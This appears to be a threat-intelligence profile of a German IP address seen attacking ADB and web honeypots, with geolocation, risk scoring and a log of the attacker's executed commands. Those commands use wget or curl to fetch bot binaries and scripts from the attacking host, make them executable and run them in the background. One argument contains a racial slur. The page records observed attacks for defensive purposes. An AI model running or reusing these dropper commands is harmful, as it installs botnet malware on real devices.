Active Threat • MEDIUM
176.65.139.52
Country of Origin🇩🇪 Germany
First Detection3/17/2026
Last Activity4/13/2026
ISPPfcloud UG (haftungsbeschrankt)
🎯
86
Total Attacks
🔌
2
Ports
📡
2
Attack Types
🦠
2
Malware
Geolocation
- Country
- 🇩🇪 Germany
- City
- Unknown
- ASN
- AS51396
- ISP
- Pfcloud UG (haftungsbeschrankt)
Attack Types
adb_honeypot
web_honeypot
Attacked Ports
805555
Associated Malware
Executed Commands
$
echo hello7x$
chmod 777 /data/local/tmp/parm7 && /data/local/tmp/parm7 testarm3x$
chmod 777 /data/local/tmp/bot; nohup /data/local/tmp/bot CarpLoverNigga > /dev/null 2>&1 &3x$
chmod 777 /data/local/tmp/sex.sh && /data/local/tmp/sex.sh testarm2x$
cd /data/local/tmp; rm -rf sex.sh; wget http://176.65.139.52:8080/bins/sex.sh 2>/dev/null || curl -o sex.sh http://176.65.139.52:8080/bins/sex.sh 2>/dev/null; chmod 777 sex.sh; ./sex.sh; rm -rf sex.sh2x$
cd /data/local/tmp; rm -rf parm7; wget http://176.65.139.52:8080/bins/parm7 2>/dev/null || curl -o parm7 http://176.65.139.52:8080/bins/parm7 2>/dev/null; chmod 777 parm7; ./parm7 testarm; rm -rf parm72x$
nohup sh -c 'cd /data/local/tmp || cd /tmp || cd /var; wget http://176.65.139.52/armv7 -O b; chmod +x b; ./b CarpLoverNigga >/dev/null 2>&1 & sleep 1' > /dev/null 2>&1 &2x$
cat > /data/local/tmp/bot_p; chmod 777 /data/local/tmp/bot_p; /data/local/tmp/bot_p CarpLoverNigga2x$
echo VULNERABLE1x$
cd /data/local/tmp; rm -rf parm7; wget http://176.65.139.52:8080/bins/parm7 2>/dev/null || curl -o parm7 http://176.65.139.52:8080/bins/parm7 2>/dev/null; chmod 777 parm7; ./parm7; rm -rf parm71xShodan InternetDB ExposureShodan
InternetDB data, not real-time
Ports
22
CPEs
cpe:/o:canonical:ubuntu_linuxcpe:/a:openbsd:openssh:8.9p1
Risk Assessment
55
/100
LowMediumHighCritical